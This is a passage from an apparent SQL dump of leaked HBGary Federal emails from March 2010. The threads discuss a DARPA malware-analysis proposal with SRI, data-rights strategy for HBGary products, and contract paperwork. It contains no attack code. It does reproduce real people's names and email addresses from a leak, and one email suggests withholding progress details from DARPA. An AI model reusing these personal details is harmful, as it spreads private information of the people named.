the only sticky point.  The development of the Automated Resolution Engine (AFR like but using REcon as base) I think HBGary proper should most of this work in developing an automated complete execution flow capability.  This is the one piece I think deserves the most conversation as to how we want to word the language.  Lets  talk more about this?\r\n\r\nDo agree with these assessments?\r\n\r\nI was under the impression when starting HBGary federal that one of its primary focuses would be to do the government services and tailored product work that HBGary did not want to do?  So why would HBGary Inc. want to develop specific government capabilities related to lineage trees?  If you do this as a separate subcontract to GD then you will have to manage your own SOW, deliverables, etc. rather than just providing engineering support to HBGary federal.\r\n\r\nTHoughts.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3305,'aaron_hbgary_com/3305.html'),(3669,'2010-03-08','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297001853.M819613P3547Q3669.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: TA3','Hi Aarron.   quick clarification....which files to access are we referring?\r\nWe haven\'t gotten any additional files on area 3 so far, we believe.\r\nWe\'ve been working on the Area 3  4-pager doc.  I expect we need\r\nto sync a bit more to make sure we get you what you need asap.\r\nPhil\r\n\r\n\r\nAt 02:08 PM 3/6/2010, Aaron Barr wrote:\r\n>Phil,\r\n>\r\n>Let me know if you have problems accessing the files.  Please review \r\n>and add content where it is missing.  As I mentioned our intent is \r\n>to use memory/dynamic analysis as much as possible, but two things \r\n>are needed, maybe more based on your suggestions.\r\n>\r\n>1.  De-obfuscation and removal of anti-analysis techniques.\r\n>2. External static/binary analysis for quick analysis for correlation.\r\n>\r\n>Support to collection\r\n>\r\n>Any other areas you can think of?\r\n>\r\n>After I get some input from you I will turn around a SOW\r\n>Aaron Barr\r\n>CEO\r\n>HBGary Federal Inc.\r\n\r\n',14299,'aaron_hbgary_com/14299.html'),(3670,'2010-03-08','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297001854.M189769P3547Q3671.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: TA3','Hi Aaron,  thanks.  Searching for it now...who sent it?   Apologies,\r\nI am sure I missed one or more emails at some point.  Phil\r\n\r\n\r\nAt 05:37 PM 3/7/2010, Aaron Barr wrote:\r\n>you should have just received a link to the docs.  lets talk tomorrow.\r\n>\r\n>aaron\r\n>On Mar 7, 2010, at 8:21 PM, Phil Porras wrote:\r\n>\r\n> > Hi Aarron.   quick clarification....which files to access are we referring?\r\n> > We haven\'t gotten any additional files on area 3 so far, we believe.\r\n> > We\'ve been working on the Area 3  4-pager doc.  I expect we need\r\n> > to sync a bit more to make sure we get you what you need asap.\r\n> > Phil\r\n> >\r\n> >\r\n> > At 02:08 PM 3/6/2010, Aaron Barr wrote:\r\n> >> Phil,\r\n> >>\r\n> >> Let me know if you have problems accessing the files.  Please \r\n> review and add content where it is missing.  As I mentioned our \r\n> intent is to use memory/dynamic analysis as much as possible, but \r\n> two things are needed, maybe more based on your suggestions.\r\n> >>\r\n> >> 1.  De-obfuscation and removal of anti-analysis techniques.\r\n> >> 2. External static/binary analysis for quick analysis for correlation.\r\n> >>\r\n> >> Support to collection\r\n> >>\r\n> >> Any other areas you can think of?\r\n> >>\r\n> >> After I get some input from you I will turn around a SOW\r\n> >> Aaron Barr\r\n> >> CEO\r\n> >> HBGary Federal Inc.\r\n> >\r\n>\r\n>Aaron Barr\r\n>CEO\r\n>HBGary Federal Inc.\r\n\r\n',3494,'aaron_hbgary_com/3494.html'),(3671,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001854.M370651P3547Q3672.eml','\"Phil Porras\" <porras@csl.sri.com>','Re: TA3','I sent it from aaron@hbgary.com\r\n\r\nReal brief.  You will get an NDA, teaming agreement, and SOW in the morning.\r\n\r\nAs I mentioned there are 3 areas I am focused on you providing for preprocessing.  TA3 will be focussed primarily on memory and runtime analysis of malware.\r\n\r\nWe will need specific research and development in triggers, subverting anti-analysis techniques, and some de-obfuscation.  Do you focus specifically on windows or linux as well?\r\n\r\nAaron\r\n\r\n\r\nOn Mar 7, 2010, at 8:49 PM, Phil Porras wrote:\r\n\r\n> Hi Aaron,  thanks.  Searching for it now...who sent it?   Apologies,\r\n> I am sure I missed one or more emails at some point.  Phil\r\n> \r\n> \r\n> At 05:37 PM 3/7/2010, Aaron Barr wrote:\r\n>> you should have just received a link to the docs.  lets talk tomorrow.\r\n>> \r\n>> aaron\r\n>> On Mar 7, 2010, at 8:21 PM, Phil Porras wrote:\r\n>> \r\n>> > Hi Aarron.   quick clarification....which files to access are we referring?\r\n>> > We haven\'t gotten any additional files on area 3 so far, we believe.\r\n>> > We\'ve been working on the Area 3  4-pager doc.  I expect we need\r\n>> > to sync a bit more to make sure we get you what you need asap.\r\n>> > Phil\r\n>> >\r\n>> >\r\n>> > At 02:08 PM 3/6/2010, Aaron Barr wrote:\r\n>> >> Phil,\r\n>> >>\r\n>> >> Let me know if you have problems accessing the files.  Please review and add content where it is missing.  As I mentioned our intent is to use memory/dynamic analysis as much as possible, but two things are needed, maybe more based on your suggestions.\r\n>> >>\r\n>> >> 1.  De-obfuscation and removal of anti-analysis techniques.\r\n>> >> 2. External static/binary analysis for quick analysis for correlation.\r\n>> >>\r\n>> >> Support to collection\r\n>> >>\r\n>> >> Any other areas you can think of?\r\n>> >>\r\n>> >> After I get some input from you I will turn around a SOW\r\n>> >> Aaron Barr\r\n>> >> CEO\r\n>> >> HBGary Federal Inc.\r\n>> >\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4532,'aaron_hbgary_com/4532.html'),(3672,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001854.M4090P3547Q3670.eml','\"Phil Porras\" <porras@csl.sri.com>','Re: TA3','you should have just received a link to the docs.  lets talk tomorrow.\r\n\r\naaron\r\nOn Mar 7, 2010, at 8:21 PM, Phil Porras wrote:\r\n\r\n> Hi Aarron.   quick clarification....which files to access are we referring?\r\n> We haven\'t gotten any additional files on area 3 so far, we believe.\r\n> We\'ve been working on the Area 3  4-pager doc.  I expect we need\r\n> to sync a bit more to make sure we get you what you need asap.\r\n> Phil\r\n> \r\n> \r\n> At 02:08 PM 3/6/2010, Aaron Barr wrote:\r\n>> Phil,\r\n>> \r\n>> Let me know if you have problems accessing the files.  Please review and add content where it is missing.  As I mentioned our intent is to use memory/dynamic analysis as much as possible, but two things are needed, maybe more based on your suggestions.\r\n>> \r\n>> 1.  De-obfuscation and removal of anti-analysis techniques.\r\n>> 2. External static/binary analysis for quick analysis for correlation.\r\n>> \r\n>> Support to collection\r\n>> \r\n>> Any other areas you can think of?\r\n>> \r\n>> After I get some input from you I will turn around a SOW\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4900,'aaron_hbgary_com/4900.html'),(3673,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001854.M621100P3547Q3673.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: IP','Aaron,\r\n\r\nNote to Greg and Penny......... GD\'s IP attorney made several things clear\r\nto us.\r\n1. HBGary retains IP over everything we do on the contract regardless of the\r\nrights we offer the gov\'t\r\n2. Gov\'t rights pertain only to what is paid for and delivered to the gov\'t\r\n3. GD said that 99% of the time DARPA puts the delivered data in a filing\r\ncabinet and forgets about it.\r\n\r\nThe DARPA contract is a research contract, not a development contract.  So,\r\nwe would use their money to study new ideas and to prototype code, so this\r\nis what would get delivered to the customer.  The insertion of a new feature\r\ninto our products should get paid for by HBGary and would not be delivered\r\nto the gov\'t.  \r\n\r\nGD made things clear with an example.......  If the gov\'t were to pay us to\r\ndevelop IDA plug-ins we would deliver the plug-ins, not IDA, because IDA is\r\nsomebody else\'s commercial product.  In our situation, if we research and\r\nprototype a plug-in for Responder, we would deliver the research and the\r\nplug-in prototype code.  We would not deliver Responder.  If we were to demo\r\nIDA plug-ins to the gov\'t we would use IDA as part of the demo, but the\r\ncustomer doesn\'t get IDA.  Same with Responder.\r\n\r\nNow, getting to Aaron\'s specific items........  Here is my take on it.  I\r\ncertainly want input from Greg and Penny.\r\n\r\nAFR.  HBGary would never develop AFR unless the gov\'t paid for it.  By law\r\nwe could assert SBIR Rights, but I have no problem with giving the gov\'t\r\nunlimited rights to AFR.  HBGary still owns the IP.  The gov\'t gets\r\nunlimited rights to what we deliver.  If what we deliver are reports and\r\ndisjointed prototype code this certainly does not constitute a finished\r\ncommercial product.  In other words, taking DARPA\'s money to research AFR\r\ndoes not preclude us from advancing the develop into a commercial product\r\nthat we then sell to the gov\'t.  Remember, the data we deliver is not the\r\nsame as the eventual commercial product.\r\n\r\nREcon.  The plan is to use the DARPA money to research and prototype a high\r\nvolume, super automated runtime malware analysis system.  We need to figure\r\nout what data rights to assert.  Options are (1) SBIR Rights, (2) Specially\r\nNegotiated Rights, or (3) Unlimited Rights.\r\n1. I vote that we do not assert SBIR Rights as it could reduce our chances\r\nto win.\r\n2. Metzger gave me language for (2) - this is an option.\r\n3. Do we care if the gov\'t gets unlimited rights to data delivered here?  We\r\nkeep the IP.  The delivered data won\'t be a commercial product.  DARPA\r\nlikely does nothing with what we deliver.\r\n\r\nResponder.  This gets handled like the IDA example above.  I don\'t have a\r\nproblem with giving unlimited rights to the research and prototyped\r\nplug-ins.  We are entitled to SBIR Rights, or could bend and offer specially\r\nnegotiated rights to the plug-ins.  I say offer unlimited rights to the new\r\nwork.\r\n\r\nDigital DNA.  This is all HBGary funded and has a patent filed.  DDNA is\r\nalso more nuanced.  I see DDNA as including three IP components:  (1) the\r\ncurrent commercial product, (2) the underlying concept and patented IP, and\r\n(3) traits we have already developed.\r\n1. The commercial product doesn\'t apply because DARPA doesn\'t care about\r\nmalware detection.\r\n2. We cannot offer unlimited rights to #2.  I haven\'t read the patent yet,\r\nbut I\'ve been telling Aaron that HBGary\'s IP is the concept of describing\r\nbinary behaviors as a sequence of hexadecimal bytes.  Is this true?  Is\r\nthere more to the underlying concept and technology that must be called out\r\nwith more restrictive rights?  \r\n3. Traits.  If there are any existing traits that are important HBGary IP,\r\nthen the answer is that we simply don\'t deliver those traits.  How about\r\noffering the gov\'t unlimited rights on new traits?\r\n\r\nMy feeling is that the very format by which we describe malware behaviors is\r\nDDNA Sequencing which is our IP.  We can certainly deliver the gov\'t new\r\ntraits in this format -- the gov\'t would get unlimited rights for the new\r\ntraits, but they would \"a right to use\" the DDNA Sequencing which is how we\r\ndescribe malware.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, March 07, 2010 8:06 PM\r\nTo: Bob Slapnik\r\nCc: Ted Vera; Penny Leavy; Greg Hoglund\r\nSubject: IP\r\n\r\nSome thoughts for IP and execution of the contract.\r\n\r\nHBGary Federal and HBGary will be the only companies doing windows based\r\nmemory analysis.\r\n\r\nOn Traits.  I was under the understanding that the trait database and code\r\nwould be made available to the government on contract to develop their own\r\nclassified traits libraries.  I also thought I remember someone saying that\r\nat some point the ability to write your own traits would be in the product.\r\n\r\nOn the detection algorithm.  There is no reason this needs to be used other\r\nthan as a licensed product under the BAA.\r\n\r\nResponder.  I see no reason this needs to be used other than as a licensed\r\nproduct under the BAA.\r\n\r\nREcon.  This might be the only sticky point.  The development of the\r\nAutomated Resolution Engine (AFR like but using REcon as base) I think\r\nHBGary proper should most of this work in developing an automated complete\r\nexecution flow capability.  This is the one piece I think deserves the most\r\nconversation as to how we want to word the language.  Lets  talk more about\r\nthis?\r\n\r\nDo agree with these assessments?\r\n\r\nI was under the impression when starting HBGary federal that one of its\r\nprimary focuses would be to do the government services and tailored product\r\nwork that HBGary did not want to do?  So why would HBGary Inc. want to\r\ndevelop specific government capabilities related to lineage trees?  If you\r\ndo this as a separate subcontract to GD then you will have to manage your\r\nown SOW, deliverables, etc. rather than just providing engineering support\r\nto HBGary federal.\r\n\r\nTHoughts.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n02:34:00\r\n\r\n',4651,'aaron_hbgary_com/4651.html'),(3674,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001854.M884721P3547Q3674.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: DDNA','Aaron,\r\n\r\nI believe it is possible for HBGary to develop a tool that would allow\r\ncustomers the ability to create their own traits without HBGary giving away\r\nthe crown jewels.  But I don\'t know any of the underlying details.  Maybe we\r\ncan find out from Martin or Shawn.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, March 07, 2010 7:43 PM\r\nTo: Bob Slapnik\r\nCc: Ted Vera\r\nSubject: DDNA\r\n\r\nBob,\r\n\r\nI am pretty sure that Greg had told us a little while back that the ability\r\nto write traits would be built into responder and we had also talked about\r\nthe ability for the government to write their own traits, so it doesn\'t seem\r\nto me that this is part of the \"crown jewels\".  I have contended for a while\r\nthat we would strictly protect the algorithms which I see more as the \"crown\r\njewel\" rather than the language that I was assuming we were going to give to\r\npeople anyway.  I need clarification on this please.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.=\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n02:34:00\r\n\r\n',16715,'aaron_hbgary_com/16715.html'),(3675,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001855.M294461P3547Q3676.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: DDNA','K.  Let me know when we can set up a telecon tomorrow with Martin.\r\n\r\nAaron\r\n\r\n\r\nOn Mar 7, 2010, at 10:06 PM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> I believe it is possible for HBGary to develop a tool that would allow\r\n> customers the ability to create their own traits without HBGary giving away\r\n> the crown jewels.  But I don\'t know any of the underlying details.  Maybe we\r\n> can find out from Martin or Shawn.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, March 07, 2010 7:43 PM\r\n> To: Bob Slapnik\r\n> Cc: Ted Vera\r\n> Subject: DDNA\r\n> \r\n> Bob,\r\n> \r\n> I am pretty sure that Greg had told us a little while back that the ability\r\n> to write traits would be built into responder and we had also talked about\r\n> the ability for the government to write their own traits, so it doesn\'t seem\r\n> to me that this is part of the \"crown jewels\".  I have contended for a while\r\n> that we would strictly protect the algorithms which I see more as the \"crown\r\n> jewel\" rather than the language that I was assuming we were going to give to\r\n> people anyway.  I need clarification on this please.\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.=\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n> 02:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11339,'aaron_hbgary_com/11339.html'),(3676,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001855.M479881P3547Q3677.eml','\"Phil Porras\" <porras@csl.sri.com>','Re: TA3','fixing now.\r\n\r\nOn Mar 7, 2010, at 10:30 PM, Phil Porras wrote:\r\n\r\n> \r\n> Thanks Aaron,  I got your google docs lists.  Perhaps the\r\n> first time it was dropped by my spam filter.  I can access\r\n> all but the link SECTION II and SECTION III\r\n> \r\n> Regarding Linux vs Win : our focus has been w/ Windows malware.\r\n> \r\n> At 06:09 PM 3/7/2010, Aaron Barr wrote:\r\n>> I sent it from aaron@hbgary.com\r\n>> \r\n>> Real brief.  You will get an NDA, teaming agreement, and SOW in the morning.\r\n>> \r\n>> As I mentioned there are 3 areas I am focused on you providing for preprocessing.  TA3 will be focussed primarily on memory and runtime analysis of malware.\r\n>> \r\n>> We will need specific research and development in triggers, subverting anti-analysis techniques, and some de-obfuscation.  Do you focus specifically on windows or linux as well?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Mar 7, 2010, at 8:49 PM, Phil Porras wrote:\r\n>> \r\n>> > Hi Aaron,  thanks.  Searching for it now...who sent it?   Apologies,\r\n>> > I am sure I missed one or more emails at some point.  Phil\r\n>> >\r\n>> >\r\n>> > At 05:37 PM 3/7/2010, Aaron Barr wrote:\r\n>> >> you should have just received a link to the docs.  lets talk tomorrow.\r\n>> >>\r\n>> >> aaron\r\n>> >> On Mar 7, 2010, at 8:21 PM, Phil Porras wrote:\r\n>> >>\r\n>> >> > Hi Aarron.   quick clarification....which files to access are we referring?\r\n>> >> > We haven\'t gotten any additional files on area 3 so far, we believe.\r\n>> >> > We\'ve been working on the Area 3  4-pager doc.  I expect we need\r\n>> >> > to sync a bit more to make sure we get you what you need asap.\r\n>> >> > Phil\r\n>> >> >\r\n>> >> >\r\n>> >> > At 02:08 PM 3/6/2010, Aaron Barr wrote:\r\n>> >> >> Phil,\r\n>> >> >>\r\n>> >> >> Let me know if you have problems accessing the files.  Please review and add content where it is missing.  As I mentioned our intent is to use memory/dynamic analysis as much as possible, but two things are needed, maybe more based on your suggestions.\r\n>> >> >>\r\n>> >> >> 1.  De-obfuscation and removal of anti-analysis techniques.\r\n>> >> >> 2. External static/binary analysis for quick analysis for correlation.\r\n>> >> >>\r\n>> >> >> Support to collection\r\n>> >> >>\r\n>> >> >> Any other areas you can think of?\r\n>> >> >>\r\n>> >> >> After I get some input from you I will turn around a SOW\r\n>> >> >> Aaron Barr\r\n>> >> >> CEO\r\n>> >> >> HBGary Federal Inc.\r\n>> >> >\r\n>> >>\r\n>> >> Aaron Barr\r\n>> >> CEO\r\n>> >> HBGary Federal Inc.\r\n>> >\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9897,'aaron_hbgary_com/9897.html'),(3677,'2010-03-08','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297001855.M659970P3547Q3678.eml','aaron@hbgary.com,\"porras\" <phillip.porras@sri.com>','Google Doc','\r\nAaron, on the SRI side, can you please give google doc\r\naccess to vinod@csl.sri.com and saidi@csl.sri.com?   They\'ll\r\nbe collaborating w/ me on the SRI writeup.\r\n\r\n',14723,'aaron_hbgary_com/14723.html'),(3678,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001855.M76945P3547Q3675.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: IP','nice summary.  Thanks Bob.\r\n\r\nOn Mar 7, 2010, at 10:03 PM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> Note to Greg and Penny......... GD\'s IP attorney made several things clear\r\n> to us.\r\n> 1. HBGary retains IP over everything we do on the contract regardless of the\r\n> rights we offer the gov\'t\r\n> 2. Gov\'t rights pertain only to what is paid for and delivered to the gov\'t\r\n> 3. GD said that 99% of the time DARPA puts the delivered data in a filing\r\n> cabinet and forgets about it.\r\n> \r\n> The DARPA contract is a research contract, not a development contract.  So,\r\n> we would use their money to study new ideas and to prototype code, so this\r\n> is what would get delivered to the customer.  The insertion of a new feature\r\n> into our products should get paid for by HBGary and would not be delivered\r\n> to the gov\'t.  \r\n> \r\n> GD made things clear with an example.......  If the gov\'t were to pay us to\r\n> develop IDA plug-ins we would deliver the plug-ins, not IDA, because IDA is\r\n> somebody else\'s commercial product.  In our situation, if we research and\r\n> prototype a plug-in for Responder, we would deliver the research and the\r\n> plug-in prototype code.  We would not deliver Responder.  If we were to demo\r\n> IDA plug-ins to the gov\'t we would use IDA as part of the demo, but the\r\n> customer doesn\'t get IDA.  Same with Responder.\r\n> \r\n> Now, getting to Aaron\'s specific items........  Here is my take on it.  I\r\n> certainly want input from Greg and Penny.\r\n> \r\n> AFR.  HBGary would never develop AFR unless the gov\'t paid for it.  By law\r\n> we could assert SBIR Rights, but I have no problem with giving the gov\'t\r\n> unlimited rights to AFR.  HBGary still owns the IP.  The gov\'t gets\r\n> unlimited rights to what we deliver.  If what we deliver are reports and\r\n> disjointed prototype code this certainly does not constitute a finished\r\n> commercial product.  In other words, taking DARPA\'s money to research AFR\r\n> does not preclude us from advancing the develop into a commercial product\r\n> that we then sell to the gov\'t.  Remember, the data we deliver is not the\r\n> same as the eventual commercial product.\r\n> \r\n> REcon.  The plan is to use the DARPA money to research and prototype a high\r\n> volume, super automated runtime malware analysis system.  We need to figure\r\n> out what data rights to assert.  Options are (1) SBIR Rights, (2) Specially\r\n> Negotiated Rights, or (3) Unlimited Rights.\r\n> 1. I vote that we do not assert SBIR Rights as it could reduce our chances\r\n> to win.\r\n> 2. Metzger gave me language for (2) - this is an option.\r\n> 3. Do we care if the gov\'t gets unlimited rights to data delivered here?  We\r\n> keep the IP.  The delivered data won\'t be a commercial product.  DARPA\r\n> likely does nothing with what we deliver.\r\n> \r\n> Responder.  This gets handled like the IDA example above.  I don\'t have a\r\n> problem with giving unlimited rights to the research and prototyped\r\n> plug-ins.  We are entitled to SBIR Rights, or could bend and offer specially\r\n> negotiated rights to the plug-ins.  I say offer unlimited rights to the new\r\n> work.\r\n> \r\n> Digital DNA.  This is all HBGary funded and has a patent filed.  DDNA is\r\n> also more nuanced.  I see DDNA as including three IP components:  (1) the\r\n> current commercial product, (2) the underlying concept and patented IP, and\r\n> (3) traits we have already developed.\r\n> 1. The commercial product doesn\'t apply because DARPA doesn\'t care about\r\n> malware detection.\r\n> 2. We cannot offer unlimited rights to #2.  I haven\'t read the patent yet,\r\n> but I\'ve been telling Aaron that HBGary\'s IP is the concept of describing\r\n> binary behaviors as a sequence of hexadecimal bytes.  Is this true?  Is\r\n> there more to the underlying concept and technology that must be called out\r\n> with more restrictive rights?  \r\n> 3. Traits.  If there are any existing traits that are important HBGary IP,\r\n> then the answer is that we simply don\'t deliver those traits.  How about\r\n> offering the gov\'t unlimited rights on new traits?\r\n> \r\n> My feeling is that the very format by which we describe malware behaviors is\r\n> DDNA Sequencing which is our IP.  We can certainly deliver the gov\'t new\r\n> traits in this format -- the gov\'t would get unlimited rights for the new\r\n> traits, but they would \"a right to use\" the DDNA Sequencing which is how we\r\n> describe malware.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, March 07, 2010 8:06 PM\r\n> To: Bob Slapnik\r\n> Cc: Ted Vera; Penny Leavy; Greg Hoglund\r\n> Subject: IP\r\n> \r\n> Some thoughts for IP and execution of the contract.\r\n> \r\n> HBGary Federal and HBGary will be the only companies doing windows based\r\n> memory analysis.\r\n> \r\n> On Traits.  I was under the understanding that the trait database and code\r\n> would be made available to the government on contract to develop their own\r\n> classified traits libraries.  I also thought I remember someone saying that\r\n> at some point the ability to write your own traits would be in the product.\r\n> \r\n> On the detection algorithm.  There is no reason this needs to be used other\r\n> than as a licensed product under the BAA.\r\n> \r\n> Responder.  I see no reason this needs to be used other than as a licensed\r\n> product under the BAA.\r\n> \r\n> REcon.  This might be the only sticky point.  The development of the\r\n> Automated Resolution Engine (AFR like but using REcon as base) I think\r\n> HBGary proper should most of this work in developing an automated complete\r\n> execution flow capability.  This is the one piece I think deserves the most\r\n> conversation as to how we want to word the language.  Lets  talk more about\r\n> this?\r\n> \r\n> Do agree with these assessments?\r\n> \r\n> I was under the impression when starting HBGary federal that one of its\r\n> primary focuses would be to do the government services and tailored product\r\n> work that HBGary did not want to do?  So why would HBGary Inc. want to\r\n> develop specific government capabilities related to lineage trees?  If you\r\n> do this as a separate subcontract to GD then you will have to manage your\r\n> own SOW, deliverables, etc. rather than just providing engineering support\r\n> to HBGary federal.\r\n> \r\n> THoughts.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n> 02:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',467,'aaron_hbgary_com/467.html'),(3679,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001860.M464119P3547Q3680.eml','\"Ted Vera\" <ted@hbgary.com>','teaming agreements','Is there a place for them to sign the teaming agreement?\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12843,'aaron_hbgary_com/12843.html'),(3680,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001860.M681822P3547Q3681.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Tech content from Martin','Is data flow tracing in REcon?OK so we do static memory analysis through snapshots.we do dynamic runtime analysis on REconand we do static data flow tracing on disassembled code through AFR?Do I have this right?AaronOn Mar 5, 2010, at 1:49 PM, Bob Slapnik wrote:Martin, please reply to confirm if this is correct or modify where incorrect or incomplete.&nbsp;DATA FLOW TRACINGEMULATED CPU STATE MACHINE&nbsp;I give you this content so you can include it in the AFR section.&nbsp; Martin said a big chunk of the AFR problem has been solved.&nbsp; (We don’t need to tell DARPA this.)&nbsp;&nbsp;Data flow tracing is a key component of AFR.&nbsp; In Responder’s disassembly system is an auto label feature.&nbsp; To make this feature work Martin had to implement data flow tracing.&nbsp;Today data flow tracing works at the function level.&nbsp; Martin would have to extend it for the entire binary across many functions.&nbsp; It is written in C# now.&nbsp; He would have to rewrite it in C++ for speed.&nbsp;This data flow tracing is actually static analysis on disassembled code.&nbsp; Nothing is being executed.&nbsp; It is an emulation environment where there is a giant emulated CPU state machine that emulates all things the CPU does.&nbsp; So Martin emulates how data flows through the code and he “operates” on it like a real CPU would.&nbsp;Me connecting some dots………AFR is actually a combination of static and dynamic analysis. &nbsp;Suppose we are sitting at a fork in the code.&nbsp; Execution has temporarily stopped.&nbsp; Statefulness has been snapshotted.&nbsp; Seems to me that AFR does some data flow analysis (which is static analysis of how data is supposed to move their the code) to figure out what the buffers or data inputs need to look like in order to take the left or right branch. When the data is crafted execution starts back up which brings us into dynamic analysis where we can continue harvesting runtime data.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1860,'aaron_hbgary_com/1860.html'),(3681,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001860.M75248P3547Q3679.eml','\"Ted Vera\" <ted@hbgary.com>','SOWs','I am sure there will be comments back but at least they can get started in the pricing and scheduling to return a price and schedule back to us by 12am tomorrow.  You and I will have to turn the overall pricing (by year) around to GD by the end of the day.\r\n\r\n',13209,'aaron_hbgary_com/13209.html'),(3682,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001860.M884193P3547Q3682.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Tech content from Martin','So our approach on a new version of AFR would be to do dynamic (like REcon) and static analysis?So what are we watching when we run REcon? &nbsp;is it memory? &nbsp;what are we recording?AaronOn Mar 5, 2010, at 1:49 PM, Bob Slapnik wrote:Martin, please reply to confirm if this is correct or modify where incorrect or incomplete.&nbsp;DATA FLOW TRACINGEMULATED CPU STATE MACHINE&nbsp;I give you this content so you can include it in the AFR section.&nbsp; Martin said a big chunk of the AFR problem has been solved.&nbsp; (We don’t need to tell DARPA this.)&nbsp;&nbsp;Data flow tracing is a key component of AFR.&nbsp; In Responder’s disassembly system is an auto label feature.&nbsp; To make this feature work Martin had to implement data flow tracing.&nbsp;Today data flow tracing works at the function level.&nbsp; Martin would have to extend it for the entire binary across many functions.&nbsp; It is written in C# now.&nbsp; He would have to rewrite it in C++ for speed.&nbsp;This data flow tracing is actually static analysis on disassembled code.&nbsp; Nothing is being executed.&nbsp; It is an emulation environment where there is a giant emulated CPU state machine that emulates all things the CPU does.&nbsp; So Martin emulates how data flows through the code and he “operates” on it like a real CPU would.&nbsp;Me connecting some dots………AFR is actually a combination of static and dynamic analysis. &nbsp;Suppose we are sitting at a fork in the code.&nbsp; Execution has temporarily stopped.&nbsp; Statefulness has been snapshotted.&nbsp; Seems to me that AFR does some data flow analysis (which is static analysis of how data is supposed to move their the code) to figure out what the buffers or data inputs need to look like in order to take the left or right branch. When the data is crafted execution starts back up which brings us into dynamic analysis where we can continue harvesting runtime data.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12137,'aaron_hbgary_com/12137.html'),(3683,'2010-03-08','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001862.M836805P3547Q3683.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',9119,'aaron_hbgary_com/9119.html'),(3684,'2010-03-08','\"Bob Slapnik\" 